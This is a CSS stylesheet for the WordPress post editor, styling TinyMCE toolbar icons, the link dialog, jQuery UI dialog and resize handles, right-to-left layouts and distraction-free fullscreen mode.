.wp_themeSkin .mceButtonEnabled:hover span.mce_underline, .wp_themeSkin .mceButtonActive span.mce_underline {background-position:-280px 0} .wp_themeSkin span.mce_justifyleft {background-position:-100px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_justifyleft, .wp_themeSkin .mceButtonActive span.mce_justifyleft {background-position:-100px 0} .wp_themeSkin span.mce_justifyright {background-position:-140px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_justifyright, .wp_themeSkin .mceButtonActive span.mce_justifyright {background-position:-140px 0} .wp_themeSkin span.mce_justifycenter {background-position:-120px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_justifycenter, .wp_themeSkin .mceButtonActive span.mce_justifycenter {background-position:-120px 0} .wp_themeSkin span.mce_justifyfull {background-position:-300px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_justifyfull, .wp_themeSkin .mceButtonActive span.mce_justifyfull {background-position:-300px 0} .wp_themeSkin span.mce_indent {background-position:-460px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_indent, .wp_themeSkin .mceButtonActive span.mce_indent {background-position:-460px 0} .wp_themeSkin span.mce_outdent {background-position:-440px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_outdent, .wp_themeSkin .mceButtonActive span.mce_outdent {background-position:-440px 0} .wp_themeSkin span.mce_link {background-position:-160px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_link, .wp_themeSkin .mceButtonActive span.mce_link {background-position:-160px 0} .wp_themeSkin span.mce_unlink {background-position:-180px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_unlink, .wp_themeSkin .mceButtonActive span.mce_unlink {background-position:-180px 0} .wp_themeSkin span.mce_help {background-position:-520px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_help, .wp_themeSkin .mceButtonActive span.mce_help {background-position:-520px 0} .wp_themeSkin span.mce_removeformat {background-position:-380px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_removeformat, .wp_themeSkin .mceButtonActive span.mce_removeformat {background-position:-380px 0} .wp_themeSkin span.mce_strikethrough {background-position:-540px -20px;} .wp_themeSkin .mceButtonEnabled:hover span.mce_strikethrough, .wp_themeSkin .mceButtonActive span.mce_strikethrough {background-position:-540px 0} .wp_themeSkin .mceSplitButton .mce_forecolor span.mce_forecolor {background-position:-320px -20px} .wp_themeSkin .mceSplitButtonEnabled:hover span.mce_forecolor, .wp_themeSkin .mceSplitButtonSelected span.mce_forecolor {background-position:-320px 0} .wp_themeSkin .mce_forecolorpicker {background-position:-320px -20px} /* Plugins in WP */ .wp_themeSkin span.mce_fullscreen {background-position:-240px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_fullscreen, .wp_themeSkin .mceButtonActive span.mce_fullscreen {background-position:-240px 0} .wp_themeSkin span.mce_wp_fullscreen {background-position:-240px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_wp_fullscreen, .wp_themeSkin .mceButtonActive span.mce_wp_fullscreen {background-position:-240px 0} .wp_themeSkin span.mce_media {background-position:-400px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_media, .wp_themeSkin .mceButtonActive span.mce_media {background-position:-400px 0} .wp_themeSkin span.mce_pastetext {background-position:-340px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_pastetext, .wp_themeSkin .mceButtonActive span.mce_pastetext {background-position:-340px 0} .wp_themeSkin span.mce_pasteword {background-position:-360px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_pasteword, .wp_themeSkin .mceButtonActive span.mce_pasteword {background-position:-360px 0} .wp_themeSkin span.mce_spellchecker {background-position:-220px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_spellchecker, .wp_themeSkin .mceSplitButtonEnabled:hover span.mce_spellchecker, .wp_themeSkin .mceButtonActive span.mce_spellchecker, .wp_themeSkin .mceSplitButtonSelected span.mce_spellchecker {background-position:-220px 0} .wp_themeSkin span.mce_wp_help {background-position:-520px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_wp_help, .wp_themeSkin .mceButtonActive span.mce_wp_help {background-position:-520px 0} .wp_themeSkin span.mce_wp_adv {background-position:-260px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_wp_adv, .wp_themeSkin .mceButtonActive span.mce_wp_adv {background-position:-260px 0} .wp_themeSkin span.mce_wp_more {background-position:-200px -20px} .wp_themeSkin .mceButtonEnabled:hover span.mce_wp_more, .wp_themeSkin .mceButtonActive span.mce_wp_more {background-position:-200px 0} /* Default icons */ .wp_themeSkin span.mce_cleanup {background-position:-380px -20px} .wp_themeSkin span.mce_anchor {background-position:-200px 0} .wp_themeSkin span.mce_sub {background-position:-600px 0} .wp_themeSkin span.mce_sup {background-position:-620px 0} .wp_themeSkin span.mce_newdocument {background-position:-520px 0} .wp_themeSkin span.mce_image {background-position:-380px 0} .wp_themeSkin span.mce_code {background-position:-260px 0} .wp_themeSkin span.mce_hr {background-position:-360px 0} .wp_themeSkin span.mce_visualaid {background-position:-660px 0} .wp_themeSkin span.mce_paste {background-position:-560px 0} .wp_themeSkin span.mce_copy {background-position:-700px 0} .wp_themeSkin span.mce_cut {background-position:-680px 0} .wp_themeSkin .mce_backcolor span.mceAction {background-position:-760px 0} .wp_themeSkin .mce_backcolorpicker {background-position:-760px 0} /* Plugins */ .wp_themeSkin span.mce_advhr {background-position:-0px -20px} .wp_themeSkin span.mce_ltr {background-position:-20px -20px} .wp_themeSkin span.mce_rtl {background-position:-40px -20px} .wp_themeSkin span.mce_emotions {background-position:-60px -20px} .wp_themeSkin span.mce_fullpage {background-position:-80px -20px} .wp_themeSkin span.mce_iespell {background-position:-120px -20px} .wp_themeSkin span.mce_insertdate {background-position:-140px -20px} .wp_themeSkin span.mce_inserttime {background-position:-160px -20px} .wp_themeSkin span.mce_absolute {background-position:-180px -20px} .wp_themeSkin span.mce_backward {background-position:-200px -20px} .wp_themeSkin span.mce_forward {background-position:-220px -20px} .wp_themeSkin span.mce_insert_layer {background-position:-240px -20px} .wp_themeSkin span.mce_insertlayer {background-position:-260px -20px} .wp_themeSkin span.mce_movebackward {background-position:-280px -20px} .wp_themeSkin span.mce_moveforward {background-position:-300px -20px} .wp_themeSkin span.mce_nonbreaking {background-position:-340px -20px} .wp_themeSkin span.mce_selectall {background-position:-400px -20px} .wp_themeSkin span.mce_preview {background-position:-420px -20px} .wp_themeSkin span.mce_print {background-position:-440px -20px} .wp_themeSkin span.mce_cancel {background-position:-460px -20px} .wp_themeSkin span.mce_save {background-position:-480px -20px} .wp_themeSkin span.mce_replace {background-position:-500px -20px} .wp_themeSkin span.mce_search {background-position:-520px -20px} .wp_themeSkin span.mce_styleprops {background-position:-560px -20px} .wp_themeSkin span.mce_table {background-position:-580px -20px} .wp_themeSkin span.mce_cell_props {background-position:-600px -20px} .wp_themeSkin span.mce_delete_table {background-position:-620px -20px} .wp_themeSkin span.mce_delete_col {background-position:-640px -20px} .wp_themeSkin span.mce_delete_row {background-position:-660px -20px} .wp_themeSkin span.mce_col_after {background-position:-680px -20px} .wp_themeSkin span.mce_col_before {background-position:-700px -20px} .wp_themeSkin span.mce_row_after {background-position:-720px -20px} .wp_themeSkin span.mce_row_before {background-position:-740px -20px} .wp_themeSkin span.mce_merge_cells {background-position:-760px -20px} .wp_themeSkin span.mce_table_props {background-position:-980px -20px} .wp_themeSkin span.mce_row_props {background-position:-780px -20px} .wp_themeSkin span.mce_split_cells {background-position:-800px -20px} .wp_themeSkin span.mce_template {background-position:-820px -20px} .wp_themeSkin span.mce_visualchars {background-position:-840px -20px} .wp_themeSkin span.mce_abbr {background-position:-860px -20px} .wp_themeSkin span.mce_acronym {background-position:-880px -20px} .wp_themeSkin span.mce_attribs {background-position:-900px -20px} .wp_themeSkin span.mce_cite {background-position:-920px -20px} .wp_themeSkin span.mce_del {background-position:-940px -20px} .wp_themeSkin span.mce_ins {background-position:-960px -20px} .wp_themeSkin span.mce_pagebreak {background-position:0 -40px} .wp_themeSkin span.mce_restoredraft {background-position:-20px -40px} .wp_themeSkin span.mce_visualblocks {background-position: -40px -40px} /* border */ .wp_themeSkin .mceExternalToolbar, .wp_themeSkin .mceButton, .wp_themeSkin a.mceButtonEnabled:hover, .wp_themeSkin a.mceButtonActive, .wp_themeSkin a.mceButtonSelected, .wp_themeSkin .mceListBox .mceText, .wp_themeSkin .mceListBox .mceOpen, .wp_themeSkin select.mceListBox, .wp_themeSkin .mceSplitButton a.mceAction, .wp_themeSkin .mceSplitButton a.mceOpen, .wp_themeSkin .mceSplitButton a.mceOpen:hover, .wp_themeSkin .mceSplitButtonSelected a.mceOpen, .wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction, .wp_themeSkin .mceSplitButton a.mceAction:hover, .wp_themeSkin div.mceColorSplitMenu table, .wp_themeSkin .mceColorSplitMenu a, .wp_themeSkin .mceColorSplitMenu a.mceMoreColors, .wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover, .wp_themeSkin a.mceMoreColors:hover, .wp_themeSkin .mceMenu { border-style: solid; border-width: 1px; } .wp_themeSkin .mceListBox .mceText { border-right: 0 none; } .wp_themeSkin iframe { background: transparent; } .wp_themeSkin .mceButton { border-color: transparent; } .wp_themeSkin .mceListBox .mceText, .wp_themeSkin .mceListBox .mceOpen { border-color: transparent; } .wp_themeSkin a.mceButtonEnabled:hover, .wp_themeSkin table.mceSplitButton:hover { border-color: #bbb; background: #eee; background-image: -webkit-gradient(linear, left bottom, left top, from(#e5e5e5), to(#fff)); background-image: -webkit-linear-gradient(bottom, #e5e5e5, #fff); background-image: -moz-linear-gradient(bottom, #e5e5e5, #fff); background-image: -o-linear-gradient(bottom, #e5e5e5, #fff); background-image: linear-gradient(to top, #e5e5e5, #fff); } .wp_themeSkin a.mceButton:active, .wp_themeSkin a.mceButtonEnabled:active, .wp_themeSkin a.mceButtonSelected:active, .wp_themeSkin a.mceButtonActive, .wp_themeSkin a.mceButtonActive:active, .wp_themeSkin a.mceButtonActive:hover, .wp_themeSkin .mceSplitButtonSelected table, .wp_themeSkin .mceSplitButtonSelected table:hover { outline: none; border-color: #999 #ccc #ccc #999; background: #eee; background-image: -webkit-gradient(linear, left bottom, left top, from(#f6f6f6), to(#e3e3e3)); background-image: -webkit-linear-gradient(bottom, #f6f6f6, #e3e3e3); background-image: -moz-linear-gradient(bottom, #f6f6f6, #e3e3e3); background-image: -o-linear-gradient(bottom, #f6f6f6, #e3e3e3); background-image: linear-gradient(to top, #f6f6f6, #e3e3e3); } .wp_themeSkin .mceSplitButtonSelected table a.mceOpen, .wp_themeSkin .mceSplitButtonSelected table a.mceAction { border-color: #999 #ccc #ccc #999; } .wp_themeSkin .mceButtonDisabled { border-color: transparent; } .wp_themeSkin .mceListBox .mceOpen { border-left: 0; } .wp_themeSkin .mceListBoxEnabled:hover, .wp_themeSkin .mceListBoxEnabled:active, .wp_themeSkin .mceListBoxHover, .wp_themeSkin .mceListBoxHover:active, .wp_themeSkin .mceListBoxSelected { -webkit-box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .3); box-shadow: inset 0 1px 1px -1px rgba(0, 0, 0, .3); border-color: #bbb; } /* SplitButton */ .wp_themeSkin .mceSplitButton .mceLast span.mceOpen .mceIconOnly { display: block; } .wp_themeSkin .mceSplitButton a.mceAction, .wp_themeSkin .mceSplitButton a.mceOpen { border-color: transparent; } .wp_themeSkin .mceSplitButton:hover a { border-color: #bbb; } .wp_themeSkin .mceSplitButtonEnabled a.mceOpen, .wp_themeSkin .mceSplitButtonSelected a.mceOpen, .wp_themeSkin .mceSplitButtonActive a.mceOpen, .wp_themeSkin .mceSplitButtonEnabled:hover a.mceOpen { background-image: url("../images/down_arrow.gif"); background-position: 1px 2px; background-repeat: no-repeat; border-left: 0; } .wp_themeSkin .mceSplitButtonActive td { -webkit-border-radius: 3px; border-radius: 3px; } .wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover { border-color: #0A246A; background-color: #B6BDD2; } .wp_themeSkin a.mceMoreColors:hover { border-color: #0A246A; } .wp_themeSkin .mceMenuItemDisabled .mceText { color: #888; } #mceModalBlocker { background: #000; } /* WP specific */ .wp-editor-wrap { position: relative; } .wp-editor-area { font-family: Consolas, Monaco, monospace; padding: 10px; margin: 1px 0 0; line-height: 150%; border: 0 none; outline: none; display: block; resize: vertical; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .wp-editor-tools { height: 30px; padding: 0 10px 0 0; } .rtl .wp-editor-tools { padding: 0 0 0 10px; } .wp-editor-container { border-width: 1px; border-style: solid; -webkit-border-top-right-radius: 3px; -webkit-border-top-left-radius: 3px; border-top-right-radius: 3px; border-top-left-radius: 3px; border-color: #ccc #ccc #dfdfdf; } .wp-editor-container textarea.wp-editor-area { width: 100%; margin: 0; -webkit-box-shadow: none; box-shadow: none; } .quicktags-toolbar, .wp_themeSkin tr.mceFirst td.mceToolbar { border-bottom: 1px solid #d1d1d1; background: #eee; background-image: -webkit-gradient(linear, left bottom, left top, from(#e5e5e5), to(#f4f4f4)); background-image: -webkit-linear-gradient(bottom, #e5e5e5, #f4f4f4); background-image: -moz-linear-gradient(bottom, #e5e5e5, #f4f4f4); background-image: -o-linear-gradient(bottom, #e5e5e5, #f4f4f4); background-image: linear-gradient(to top, #e5e5e5, #f4f4f4); } .wp-switch-editor { height: 18px; font: 13px/18px Arial,Helvetica,sans-serif normal; margin: 5px 5px 0 0; padding: 4px 5px 2px; float: right; cursor: pointer; border-width: 1px; border-style: solid; -webkit-border-top-right-radius: 3px; -webkit-border-top-left-radius: 3px; border-top-right-radius: 3px; border-top-left-radius: 3px; background-color: #f1f1f1; border-color: #dfdfdf #dfdfdf #ccc; color: #999; } html[dir="rtl"] .wp-switch-editor { float: left; } .wp-switch-editor:active { background-color: #f1f1f1; } .wp-switch-editor:hover { text-decoration: none !important; } .js .tmce-active .wp-editor-area { color: white; } .tmce-active .quicktags-toolbar { display: none; } .tmce-active .switch-tmce, .html-active .switch-html { border-color: #ccc #ccc #f4f4f4; background-color: #f4f4f4; color: #555; } .wp-media-buttons .button { margin-right: 5px; } .rtl .wp-media-buttons .button { margin-right: 0; margin-left: 5px; } .wp-media-buttons .insert-media { padding-left: 0.4em; } .rtl .wp-media-buttons .insert-media { padding-left: 10px; padding-right: 0.4em; } .wp-media-buttons a { text-decoration: none; color: #464646; font-size: 12px; } .wp-media-buttons img { padding: 0 4px; vertical-align: middle; } .wp-media-buttons span.wp-media-buttons-icon { display: inline-block; width: 16px; height: 16px; vertical-align: text-top; margin: 0 2px; } .wp-media-buttons .add_media span.wp-media-buttons-icon { background: url('../../wp-admin/images/media-button.png') no-repeat top left; } .quicktags-toolbar { border-bottom-style: solid; border-bottom-width: 1px; -webkit-border-top-right-radius: 3px; -webkit-border-top-left-radius: 3px; border-top-right-radius: 3px; border-top-left-radius: 3px; padding: 2px 8px 0; min-height: 29px; } .quicktags-toolbar > div { padding: 2px 4px 0; } .quicktags-toolbar input { margin: 2px 1px 4px; line-height: 18px; display: inline-block; min-width: 26px; padding: 2px 4px; font: 12px/18px Arial, Helvetica, sans-serif normal; color: #464646; border: 1px solid #c3c3c3; -webkit-border-radius: 3px; border-radius: 3px; background: #eee; background-image: -webkit-gradient(linear, left bottom, left top, from(#e3e3e3), to(#fff)); background-image: -webkit-linear-gradient(bottom, #e3e3e3, #fff); background-image: -moz-linear-gradient(bottom, #e3e3e3, #fff); background-image: -o-linear-gradient(bottom, #e3e3e3, #fff); background-image: linear-gradient(to top, #e3e3e3, #fff); } .quicktags-toolbar input:hover { border-color: #aaa; background: #ddd; } .quicktags-toolbar input[value="link"] { text-decoration: underline; } .quicktags-toolbar input[value="del"] { text-decoration: line-through; } .quicktags-toolbar input[value="i"] { font-style: italic; } .quicktags-toolbar input[value="b"] { font-weight: bold; } #wp_editbtns, #wp_gallerybtns { padding: 2px; position: absolute; display: none; z-index: 155000; } #wp_editimgbtn, #wp_delimgbtn, #wp_editgallery, #wp_delgallery { border-color: #999; background-color: #eee; margin: 2px; padding: 2px; border-width: 1px; border-style: solid; -webkit-border-radius: 3px; border-radius: 3px; } #wp_editimgbtn:hover, #wp_delimgbtn:hover, #wp_editgallery:hover, #wp_delgallery:hover { border-color: #555; background-color: #ccc; } /*------------------------------------------------------------------------------ wp-link ------------------------------------------------------------------------------*/ #wp-link { background-color: #F5F5F5; line-height: 1.4em; font-size: 12px; } #wp-link ol, #wp-link ul { list-style: none; margin: 0; padding: 0; } #wp-link input[type="text"] { -webkit-box-sizing: border-box; } #wp-link input[type="text"], #wp-link textarea { border-width: 1px; border-style: solid; -webkit-border-radius: 4px; border-radius: 4px; font-size: 12px; margin: 1px; padding: 3px; } #wp-link #link-options { padding: 10px 0 14px; border-bottom: 1px solid #dfdfdf; margin: 0 6px 14px; } #wp-link p.howto { margin: 3px; } #wp-link #internal-toggle { display: inline-block; cursor: pointer; padding-left: 18px; } #wp-link .toggle-arrow { background: transparent url( '../images/toggle-arrow.png' ) top left no-repeat; height: 23px; line-height: 23px; } #wp-link .toggle-arrow-active { background-position: center left; } #wp-link label input[type="text"] { width: 360px; margin-top: 5px; } #wp-link #link-options label span, #wp-link #search-panel label span.search-label { display: inline-block; width: 80px; text-align: right; padding-right: 5px; } #wp-link .link-search-field { float: left; margin-right: 5px; } #wp-link .link-search-wrapper { margin: 5px 6px 9px; display: block; overflow: hidden; } #wp-link .link-search-wrapper span { float: left; margin-top: 4px; } #wp-link .link-search-wrapper input[type="text"] { float: left; width: 220px; } #wp-link .link-search-wrapper .spinner { margin: 4px 2px 0 0; display: none; vertical-align: text-bottom; } #wp-link .link-target { width: auto; padding: 3px 0 0; margin: 0 0 0 87px; font-size: 11px; } #wp-link .query-results { border: 1px #dfdfdf solid; margin: 0 5px 5px; background: #fff; height: 185px; overflow: auto; position: relative; } #wp-link li, #wp-link .query-notice { clear: both; margin-bottom: 0; border-bottom: 1px solid #f1f1f1; color: #333; padding: 4px 6px; cursor: pointer; position: relative; } #wp-link li:hover { background: #eaf2fa; color: #151515; } #wp-link li.unselectable { border-bottom: 1px solid #dfdfdf; } #wp-link li.unselectable:hover { background: #fff; cursor: auto; color: #333; } #wp-link li.selected { background: #ddd; color: #333; } #wp-link li.selected .item-title { font-weight: bold; } #wp-link .item-title { display: inline-block; width: 80%; } #wp-link .item-info { text-transform: uppercase; color: #666; font-size: 11px; position: absolute; right: 5px; top: 4px; bottom: 0; } #wp-link #search-results { display: none; } #wp-link #search-panel { float: left; width: 100%; } #wp-link .river-waiting { display: none; padding: 10px 0; } #wp-link .river-waiting .spinner { margin: 0 auto; display: block; } #wp-link .submitbox { padding: 5px 10px; font-size: 11px; overflow: auto; height: 29px; } #wp-link-cancel { line-height: 25px; float: left; } #wp-link-update { line-height: 23px; float: right; } /* * Based on: * jQuery UI CSS Framework @VERSION * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute; left: -99999999px; } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /* * jQuery UI Resizable * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;} .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;} /* * jQuery UI Dialog * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog#theming */ .wp-dialog { position: absolute; width: 300px; overflow: hidden; } .wp-dialog .ui-dialog-titlebar { position: relative; } .wp-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .wp-dialog .ui-dialog-content { position: relative; border: 0; padding: 0; background: none; overflow: auto; zoom: 1; } .wp-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .wp-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .wp-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .wp-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } /* WP jQuery Dialog Theme */ .wp-dialog { border: 1px solid #999; -webkit-box-shadow: 0px 0px 16px rgba( 0,0,0,0.3 ); box-shadow: 0px 0px 16px rgba( 0,0,0,0.3 ); } .wp-dialog .ui-dialog-title { display: block; text-align: center; padding: 1px 0 2px; } .wp-dialog .ui-dialog-titlebar { padding: 0 1em; background-color: #444; font-weight: bold; font-size: 11px; line-height: 18px; color: #e5e5e5; } .wp-dialog { background-color: #fff; -webkit-border-top-left-radius: 4px; -webkit-border-top-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; } .wp-dialog .ui-dialog-titlebar { -webkit-border-top-left-radius: 3px; -webkit-border-top-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; } .wp-dialog .ui-dialog-titlebar-close { position: absolute; width: 29px; height: 16px; top: 2px; right: 6px; background: url('../js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif') no-repeat -87px -16px; padding: 0; } .wp-dialog .ui-dialog-titlebar-close:hover, .wp-dialog .ui-dialog-titlebar-close:focus { background-position: -87px -32px; } .ui-widget-overlay { background-color: #000; opacity: 0.6; filter: alpha(opacity=60); } /* RTL */ .rtl #wp-link #internal-toggle { padding-right: 18px; padding-left: 0; } .rtl #wp-link label span { text-align: left; padding-left: 5px; padding-right: 0; } .rtl #wp-link .link-search-wrapper span { float: right; } .rtl #wp-link .link-search-wrapper input[type="text"] { float: right; } .rtl #wp-link .link-target { margin: 0 87px 0 0; } .rtl #wp-link .item-info { left: 5px; right: auto; top: 4px; bottom: 0; } .rtl #wp-link #search-panel { float: right; } .rtl #wp-link-cancel { float: right; } .rtl #wp-link-update { float: left; } .rtl #wp-link .toggle-arrow { background-position: top right; } .rtl #wp-link .toggle-arrow-active { background-position: center right; } .rtl .wp_themeSkin .mceListBox .mceText { text-align: right; } .rtl .wp_themeSkin .mceNoIcons a .mceText { padding-right: 10px; padding-left: 25px; } .rtl .mceListBoxMenu.mceNoIcons { margin-left: -14px; } .clearlooks2 .mceFocus .mceTop .mceLeft { background: #444444; border-left: 1px solid #999; border-top: 1px solid #999; -webkit-border-top-left-radius: 3px; border-top-left-radius: 3px; } .clearlooks2 .mceFocus .mceTop .mceRight { background: #444444; border-right: 1px solid #999; border-top: 1px solid #999; -webkit-border-top-right-radius: 3px; border-top-right-radius: 3px; } .clearlooks2 .mceMiddle .mceLeft { background: #f1f1f1; border-left: 1px solid #999; } .clearlooks2 .mceMiddle .mceRight { background: #f1f1f1; border-right: 1px solid #999; } .clearlooks2 .mceBottom { background: #f1f1f1; border-bottom: 1px solid #999; } .clearlooks2 .mceBottom .mceLeft { background: #f1f1f1; border-bottom: 1px solid #999; border-left: 1px solid #999; } .clearlooks2 .mceBottom .mceCenter { background: #f1f1f1; border-bottom: 1px solid #999; } .clearlooks2 .mceBottom .mceRight { background: #f1f1f1; border-bottom: 1px solid #999; border-right: 1px solid #999; } .clearlooks2 .mceFocus .mceTop span { color: #e5e5e5; } /* Distraction Free Writing mode * =Overlay Styles -------------------------------------------------------------- */ .fullscreen-overlay { z-index: 149999; display: none; position: fixed; top: 0; bottom: 0; left: 0; right: 0; filter: inherit; } .fullscreen-active .fullscreen-overlay, .fullscreen-active #wp-fullscreen-body { display: block; } .fullscreen-fader { z-index: 200000; } .fullscreen-active .fullscreen-fader { display: none; } /* =Overlay Body -------------------------------------------------------------- */ #wp-fullscreen-body { width: 100%; z-index: 150005; display: none; position: absolute; top: 0; left: 0; font-size: 12px; } #wp-fullscreen-wrap { margin: 0 auto 50px; position: relative; padding-top: 60px; } #wp-fullscreen-title { font-size: 1.7em; line-height: 100%; outline: medium none; padding: 6px 7px; width: 100%; margin-bottom: 30px; } #wp-fullscreen-container { padding: 4px 10px 50px; } #wp-fullscreen-title, #wp-fullscreen-container { -webkit-border-radius: 0; border-radius: 0; border: 1px dashed transparent; background: transparent; -moz-transition-property: border-color; -moz-transition-duration: 0.6s; -webkit-transition-property: border-color; -webkit-transition-duration: 0.6s; -o-transition-property: border-color; -o-transition-duration: 0.6s; transition-property: border-color; transition-duration: 0.6s; } #wp_mce_fullscreen { width: 100%; min-height: 300px; border: 0; background: transparent; font-family: Consolas, Monaco, monospace; line-height: 1.6em; padding: 0; overflow-y: hidden; outline: none; resize: none; } #wp-fullscreen-tagline { color: #BBBBBB; font-size: 18px; float: right; padding-top: 5px; } /* =Top bar -------------------------------------------------------------- */ #fullscreen-topbar { position: fixed; top: 0; left: 0; z-index: 150050; border-bottom-style: solid; border-bottom-width: 1px; min-width: 800px; width: 100%; height: 40px; } #wp-fullscreen-toolbar { padding: 6px 10px 0; clear: both; max-width: 1100px; min-width: 820px; margin: 0 auto; } #wp-fullscreen-mode-bar, #wp-fullscreen-button-bar, #wp-fullscreen-close, #wp-fullscreen-count { float: left; } #wp-fullscreen-save { float: right; padding: 2px 2px 0 5px; } #wp-fullscreen-count, #wp-fullscreen-close { padding-top: 5px; } #wp-fullscreen-central-toolbar { margin: auto; padding: 0; } #wp-fullscreen-buttons > div { float: left; } #wp-fullscreen-mode-bar { padding: 1px 14px 0 0; } #wp-fullscreen-modes a { display: block; font-size: 11px; text-decoration: none; float: left; margin: 1px 0 0 0; padding: 2px 6px 2px; border-width: 1px 1px 1px 0; border-style: solid; border-color: #bbb; color: #777; text-shadow: 0 1px 0 #fff; background-color: #f4f4f4; background: #f4f4f4; background-image: -webkit-gradient(linear, left bottom, left top, from(#e4e4e4), to(#f9f9f9)); background-image: -webkit-linear-gradient(bottom, #e4e4e4, #f9f9f9); background-image: -moz-linear-gradient(bottom, #e4e4e4, #f9f9f9); background-image: -o-linear-gradient(bottom, #e4e4e4, #f9f9f9); background-image: linear-gradient(to top, #e4e4e4, #f9f9f9); } #wp-fullscreen-modes a:hover, .wp-html-mode #wp-fullscreen-modes a:last-child, .wp-tmce-mode #wp-fullscreen-modes a:first-child { color: #333; border-color: #999; background: #eee; background-image: -webkit-gradient(linear, left top, left bottom, from(#e4e4e4), to(#f9f9f9)); background-image: -webkit-linear-gradient(top, #e4e4e4, #f9f9f9); background-image: -moz-linear-gradient(top, #e4e4e4, #f9f9f9); background-image: -o-linear-gradient(top, #e4e4e4, #f9f9f9); background-image: linear-gradient(to bottom, #e4e4e4, #f9f9f9); } #wp-fullscreen-modes a:first-child { border-width: 1px; -webkit-border-top-left-radius: 3px; -webkit-border-bottom-left-radius: 3px; border-top-left-radius: 3px; border-bottom-left-radius: 3px; } #wp-fullscreen-modes a:last-child { -webkit-border-top-right-radius: 3px; -webkit-border-bottom-right-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; } #wp-fullscreen-buttons .active a { background: inherit; } #wp-fullscreen-buttons .hidden { display: none; } #wp-fullscreen-buttons .disabled { opacity: 0.5; } .wp-html-mode #wp-fullscreen-buttons div { display: none; } .wp-html-mode #wp-fullscreen-buttons div.wp-fullscreen-both { display: block; } #fullscreen-topbar.fullscreen-make-sticky { display: block !important; } #wp-fullscreen-save img { vertical-align: middle; } #wp-fullscreen-save img, #wp-fullscreen-save span { padding-right: 4px; display: none; } #wp-fullscreen-buttons #wp_fs_image span.mce_image { background-image: url('../../wp-admin/images/media-button.png'); background-position: 2px 2px; } /* =Thickbox Adjustments -------------------------------------------------------------- */ .fullscreen-active #TB_overlay { z-index: 150100; } .fullscreen-active #TB_window { z-index: 150102; } /* =TinyMCE Adjustments -------------------------------------------------------------- */ #wp_mce_fullscreen_ifr { background: transparent; } #wp_mce_fullscreen_parent #wp_mce_fullscreen_tbl tr.mceFirst { display : none; } #wp-fullscreen-container .wp_themeSkin table td { vertical-align: top; } /* Colors */ 